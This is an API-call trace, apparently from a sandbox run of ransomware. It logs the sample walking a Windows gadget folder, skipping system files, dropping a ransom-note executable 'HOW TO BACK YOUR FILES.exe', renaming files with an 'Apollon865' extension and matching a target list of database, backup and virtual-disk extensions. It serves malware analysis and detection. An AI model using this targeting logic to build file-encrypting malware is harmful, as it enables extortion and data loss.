	[0061.971] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_right_pressed.png" | out: lpString1="settings_right_pressed.png") returned="settings_right_pressed.png"
	[0061.971] lstrlenW (lpString="settings_right_pressed.png") returned 26
	[0061.971] lstrlenW (lpString="Apollon865") returned 10
	[0061.971] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0061.972] lstrlenW (lpString=".dll") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".dll") returned 1
	[0061.972] lstrlenW (lpString=".lnk") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".lnk") returned 1
	[0061.972] lstrlenW (lpString=".ini") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".ini") returned 1
	[0061.972] lstrlenW (lpString=".sys") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_pressed.png", lpString2=".sys") returned 1
	[0061.972] lstrlenW (lpString="settings_right_pressed.png") returned 26
	[0061.972] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_right_rest.png" | out: lpString1="settings_right_rest.png") returned="settings_right_rest.png"
	[0061.972] lstrlenW (lpString="settings_right_rest.png") returned 23
	[0061.972] lstrlenW (lpString="Apollon865") returned 10
	[0061.972] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0061.972] lstrlenW (lpString=".dll") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".dll") returned 1
	[0061.972] lstrlenW (lpString=".lnk") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".lnk") returned 1
	[0061.972] lstrlenW (lpString=".ini") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".ini") returned 1
	[0061.972] lstrlenW (lpString=".sys") returned 4
	[0061.972] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".sys") returned 1
	[0061.972] lstrlenW (lpString="settings_right_rest.png") returned 23
	[0061.972] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="spacer_highlights.png" | out: lpString1="spacer_highlights.png") returned="spacer_highlights.png"
	[0061.972] lstrlenW (lpString="spacer_highlights.png") returned 21
	[0061.972] lstrlenW (lpString="Apollon865") returned 10
	[0061.972] lstrcmpiW (lpString1="lights.png", lpString2="Apollon865") returned 1
	[0061.972] lstrlenW (lpString=".dll") returned 4
	[0061.972] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".dll") returned 1
	[0061.972] lstrlenW (lpString=".lnk") returned 4
	[0061.972] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".lnk") returned 1
	[0061.972] lstrlenW (lpString=".ini") returned 4
	[0061.973] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".ini") returned 1
	[0061.973] lstrlenW (lpString=".sys") returned 4
	[0061.973] lstrcmpiW (lpString1="spacer_highlights.png", lpString2=".sys") returned 1
	[0061.973] lstrlenW (lpString="spacer_highlights.png") returned 21
	[0061.973] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="square.png" | out: lpString1="square.png") returned="square.png"
	[0061.973] lstrlenW (lpString="square.png") returned 10
	[0061.973] lstrlenW (lpString="Apollon865") returned 10
	[0061.973] lstrlenW (lpString=".dll") returned 4
	[0061.973] lstrcmpiW (lpString1="square.png", lpString2=".dll") returned 1
	[0061.973] lstrlenW (lpString=".lnk") returned 4
	[0061.973] lstrcmpiW (lpString1="square.png", lpString2=".lnk") returned 1
	[0061.973] lstrlenW (lpString=".ini") returned 4
	[0061.973] lstrcmpiW (lpString1="square.png", lpString2=".ini") returned 1
	[0061.973] lstrlenW (lpString=".sys") returned 4
	[0061.973] lstrcmpiW (lpString1="square.png", lpString2=".sys") returned 1
	[0061.973] lstrlenW (lpString="square.png") returned 10
	[0061.973] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="square_dot.png" | out: lpString1="square_dot.png") returned="square_dot.png"
	[0061.973] lstrlenW (lpString="square_dot.png") returned 14
	[0061.973] lstrlenW (lpString="Apollon865") returned 10
	[0061.973] lstrcmpiW (lpString1="re_dot.png", lpString2="Apollon865") returned 1
	[0061.973] lstrlenW (lpString=".dll") returned 4
	[0061.973] lstrcmpiW (lpString1="square_dot.png", lpString2=".dll") returned 1
	[0061.973] lstrlenW (lpString=".lnk") returned 4
	[0061.973] lstrcmpiW (lpString1="square_dot.png", lpString2=".lnk") returned 1
	[0061.973] lstrlenW (lpString=".ini") returned 4
	[0061.973] lstrcmpiW (lpString1="square_dot.png", lpString2=".ini") returned 1
	[0061.973] lstrlenW (lpString=".sys") returned 4
	[0061.973] lstrcmpiW (lpString1="square_dot.png", lpString2=".sys") returned 1
	[0061.973] lstrlenW (lpString="square_dot.png") returned 14
	[0061.974] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="square_h.png" | out: lpString1="square_h.png") returned="square_h.png"
	[0061.974] lstrlenW (lpString="square_h.png") returned 12
	[0061.974] lstrlenW (lpString="Apollon865") returned 10
	[0061.974] lstrcmpiW (lpString1="uare_h.png", lpString2="Apollon865") returned 1
	[0061.974] lstrlenW (lpString=".dll") returned 4
	[0061.974] lstrcmpiW (lpString1="square_h.png", lpString2=".dll") returned 1
	[0061.974] lstrlenW (lpString=".lnk") returned 4
	[0061.974] lstrcmpiW (lpString1="square_h.png", lpString2=".lnk") returned 1
	[0061.974] lstrlenW (lpString=".ini") returned 4
	[0061.974] lstrcmpiW (lpString1="square_h.png", lpString2=".ini") returned 1
	[0061.974] lstrlenW (lpString=".sys") returned 4
	[0061.974] lstrcmpiW (lpString1="square_h.png", lpString2=".sys") returned 1
	[0061.974] lstrlenW (lpString="square_h.png") returned 12
	[0061.974] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="square_m.png" | out: lpString1="square_m.png") returned="square_m.png"
	[0061.974] lstrlenW (lpString="square_m.png") returned 12
	[0061.974] lstrlenW (lpString="Apollon865") returned 10
	[0061.974] lstrcmpiW (lpString1="uare_m.png", lpString2="Apollon865") returned 1
	[0061.974] lstrlenW (lpString=".dll") returned 4
	[0061.974] lstrcmpiW (lpString1="square_m.png", lpString2=".dll") returned 1
	[0061.974] lstrlenW (lpString=".lnk") returned 4
	[0061.974] lstrcmpiW (lpString1="square_m.png", lpString2=".lnk") returned 1
	[0061.974] lstrlenW (lpString=".ini") returned 4
	[0061.974] lstrcmpiW (lpString1="square_m.png", lpString2=".ini") returned 1
	[0061.974] lstrlenW (lpString=".sys") returned 4
	[0061.974] lstrcmpiW (lpString1="square_m.png", lpString2=".sys") returned 1
	[0061.974] lstrlenW (lpString="square_m.png") returned 12
	[0061.974] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="square_s.png" | out: lpString1="square_s.png") returned="square_s.png"
	[0061.974] lstrlenW (lpString="square_s.png") returned 12
	[0061.974] lstrlenW (lpString="Apollon865") returned 10
	[0061.975] lstrcmpiW (lpString1="uare_s.png", lpString2="Apollon865") returned 1
	[0061.975] lstrlenW (lpString=".dll") returned 4
	[0061.975] lstrcmpiW (lpString1="square_s.png", lpString2=".dll") returned 1
	[0061.975] lstrlenW (lpString=".lnk") returned 4
	[0061.975] lstrcmpiW (lpString1="square_s.png", lpString2=".lnk") returned 1
	[0061.975] lstrlenW (lpString=".ini") returned 4
	[0061.975] lstrcmpiW (lpString1="square_s.png", lpString2=".ini") returned 1
	[0061.975] lstrlenW (lpString=".sys") returned 4
	[0061.975] lstrcmpiW (lpString1="square_s.png", lpString2=".sys") returned 1
	[0061.975] lstrlenW (lpString="square_s.png") returned 12
	[0061.975] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="square_settings.png" | out: lpString1="square_settings.png") returned="square_settings.png"
	[0061.975] lstrlenW (lpString="square_settings.png") returned 19
	[0061.975] lstrlenW (lpString="Apollon865") returned 10
	[0061.975] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.975] lstrlenW (lpString=".dll") returned 4
	[0061.975] lstrcmpiW (lpString1="square_settings.png", lpString2=".dll") returned 1
	[0061.975] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="system.png" | out: lpString1="system.png") returned="system.png"
	[0061.975] lstrlenW (lpString="system.png") returned 10
	[0061.975] lstrlenW (lpString="Apollon865") returned 10
	[0061.975] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="system_dot.png" | out: lpString1="system_dot.png") returned="system_dot.png"
	[0061.975] lstrlenW (lpString="system_dot.png") returned 14
	[0061.975] lstrlenW (lpString="Apollon865") returned 10
	[0061.975] lstrcmpiW (lpString1="em_dot.png", lpString2="Apollon865") returned 1
	[0061.975] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="system_h.png" | out: lpString1="system_h.png") returned="system_h.png"
	[0061.975] lstrlenW (lpString="system_h.png") returned 12
	[0061.975] lstrlenW (lpString="Apollon865") returned 10
	[0061.975] lstrcmpiW (lpString1="stem_h.png", lpString2="Apollon865") returned 1
	[0061.976] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="system_m.png" | out: lpString1="system_m.png") returned="system_m.png"
	[0061.976] lstrlenW (lpString="system_m.png") returned 12
	[0061.976] lstrlenW (lpString="Apollon865") returned 10
	[0061.976] lstrcmpiW (lpString1="stem_m.png", lpString2="Apollon865") returned 1
	[0061.976] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="system_s.png" | out: lpString1="system_s.png") returned="system_s.png"
	[0061.976] lstrlenW (lpString="system_s.png") returned 12
	[0061.976] lstrlenW (lpString="Apollon865") returned 10
	[0061.976] lstrcmpiW (lpString1="stem_s.png", lpString2="Apollon865") returned 1
	[0061.976] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="system_settings.png" | out: lpString1="system_settings.png") returned="system_settings.png"
	[0061.976] lstrlenW (lpString="system_settings.png") returned 19
	[0061.976] lstrlenW (lpString="Apollon865") returned 10
	[0061.976] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.976] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="trad.png" | out: lpString1="trad.png") returned="trad.png"
	[0061.976] lstrlenW (lpString="trad.png") returned 8
	[0061.976] lstrlenW (lpString="Apollon865") returned 10
	[0061.976] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="trad_dot.png" | out: lpString1="trad_dot.png") returned="trad_dot.png"
	[0061.976] lstrlenW (lpString="trad_dot.png") returned 12
	[0061.976] lstrlenW (lpString="Apollon865") returned 10
	[0061.976] lstrcmpiW (lpString1="ad_dot.png", lpString2="Apollon865") returned -1
	[0061.976] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="trad_h.png" | out: lpString1="trad_h.png") returned="trad_h.png"
	[0061.976] lstrlenW (lpString="trad_h.png") returned 10
	[0061.976] lstrlenW (lpString="Apollon865") returned 10
	[0061.977] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="trad_m.png" | out: lpString1="trad_m.png") returned="trad_m.png"
	[0061.977] lstrlenW (lpString="trad_m.png") returned 10
	[0061.977] lstrlenW (lpString="Apollon865") returned 10
	[0061.977] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="trad_s.png" | out: lpString1="trad_s.png") returned="trad_s.png"
	[0061.977] lstrlenW (lpString="trad_s.png") returned 10
	[0061.977] lstrlenW (lpString="Apollon865") returned 10
	[0061.977] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="trad_settings.png" | out: lpString1="trad_settings.png") returned="trad_settings.png"
	[0061.977] lstrlenW (lpString="trad_settings.png") returned 17
	[0061.977] lstrlenW (lpString="Apollon865") returned 10
	[0061.977] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.977] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US"
	[0061.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0061.977] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0061.977] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned 59
	[0061.977] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US"
	[0061.977] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.977] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.984] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3d052ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d052ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.984] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.984] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.984] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="clock.html" | out: lpString1="clock.html") returned="clock.html"
	[0061.984] lstrlenW (lpString="clock.html") returned 10
	[0061.984] lstrlenW (lpString="Apollon865") returned 10
	[0061.984] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="css" | out: lpString1="css") returned="css"
	[0061.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0061.984] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf788
	[0061.984] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c50
	[0061.984] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1
	[0061.984] lstrcmpiW (lpString1="gadget.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.984] lstrcmpiW (lpString1="gadget.xml", lpString2="Apollon865.txt.exe") returned 1
	[0061.985] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0061.985] lstrlenW (lpString="gadget.xml") returned 10
	[0061.985] lstrlenW (lpString="Apollon865") returned 10
	[0061.985] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.Apollon865") returned 81
	[0061.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0061.985] GetLastError () returned 0x5
	[0061.985] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 99
	[0061.985] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 99
	[0061.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0061.985] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27ff
	[0061.985] WriteFile (in: hFile=0x118, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x63, lpOverlapped=0x0) returned 1
	[0061.986] CloseHandle (hObject=0x118) returned 1
	[0061.986] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0061.986] CloseHandle (hObject=0x0) returned 0
	[0061.986] CloseHandle (hObject=0x0) returned 0
	[0061.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d02c970, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d02c970, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.986] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.986] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0061.986] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0061.986] lstrlenW (lpString="js") returned 2
	[0061.986] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\gadget.xml") returned 70
	[0061.986] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="js" | out: lpString1="js") returned="js"
	[0061.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0061.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf4e0
	[0061.987] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0061.987] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0061.987] lstrlenW (lpString="settings.html") returned 13
	[0061.987] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\js") returned 62
	[0061.987] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0061.987] lstrlenW (lpString="settings.html") returned 13
	[0061.987] lstrlenW (lpString="Apollon865") returned 10
	[0061.987] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0061.987] lstrlenW (lpString=".dll") returned 4
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0061.987] lstrlenW (lpString=".lnk") returned 4
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0061.987] lstrlenW (lpString=".ini") returned 4
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0061.987] lstrlenW (lpString=".sys") returned 4
	[0061.987] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0061.987] lstrlenW (lpString="settings.html") returned 13
	[0061.987] lstrlenW (lpString="bak") returned 3
	[0061.987] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0061.987] lstrlenW (lpString="ba_") returned 3
	[0061.987] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0061.987] lstrlenW (lpString="dbb") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0061.988] lstrlenW (lpString="vmdk") returned 4
	[0061.988] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0061.988] lstrlenW (lpString="rar") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0061.988] lstrlenW (lpString="zip") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0061.988] lstrlenW (lpString="tgz") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0061.988] lstrlenW (lpString="vbox") returned 4
	[0061.988] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0061.988] lstrlenW (lpString="vdi") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0061.988] lstrlenW (lpString="vhd") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0061.988] lstrlenW (lpString="vhdx") returned 4
	[0061.988] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0061.988] lstrlenW (lpString="avhd") returned 4
	[0061.988] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0061.988] lstrlenW (lpString="db") returned 2
	[0061.988] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0061.988] lstrlenW (lpString="db2") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0061.988] lstrlenW (lpString="db3") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0061.988] lstrlenW (lpString="dbf") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0061.988] lstrlenW (lpString="mdf") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0061.988] lstrlenW (lpString="mdb") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0061.988] lstrlenW (lpString="sql") returned 3
	[0061.988] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0061.988] lstrlenW (lpString="sqlite") returned 6
	[0061.988] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0061.989] lstrlenW (lpString="sqlite3") returned 7
	[0061.989] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0061.989] lstrlenW (lpString="sqlitedb") returned 8
	[0061.989] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0061.989] lstrlenW (lpString="xml") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0061.989] lstrlenW (lpString="$er") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0061.989] lstrlenW (lpString="4dd") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0061.989] lstrlenW (lpString="4dl") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0061.989] lstrlenW (lpString="^^^") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0061.989] lstrlenW (lpString="abs") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0061.989] lstrlenW (lpString="abx") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0061.989] lstrlenW (lpString="accdb") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0061.989] lstrlenW (lpString="accdc") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0061.989] lstrlenW (lpString="accde") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0061.989] lstrlenW (lpString="accdr") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0061.989] lstrlenW (lpString="accdt") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0061.989] lstrlenW (lpString="accdw") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0061.989] lstrlenW (lpString="accft") returned 5
	[0061.989] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0061.989] lstrlenW (lpString="adb") returned 3
	[0061.989] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.990] lstrlenW (lpString="adb") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0061.990] lstrlenW (lpString="ade") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0061.990] lstrlenW (lpString="adf") returned 3
	[0061.990] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
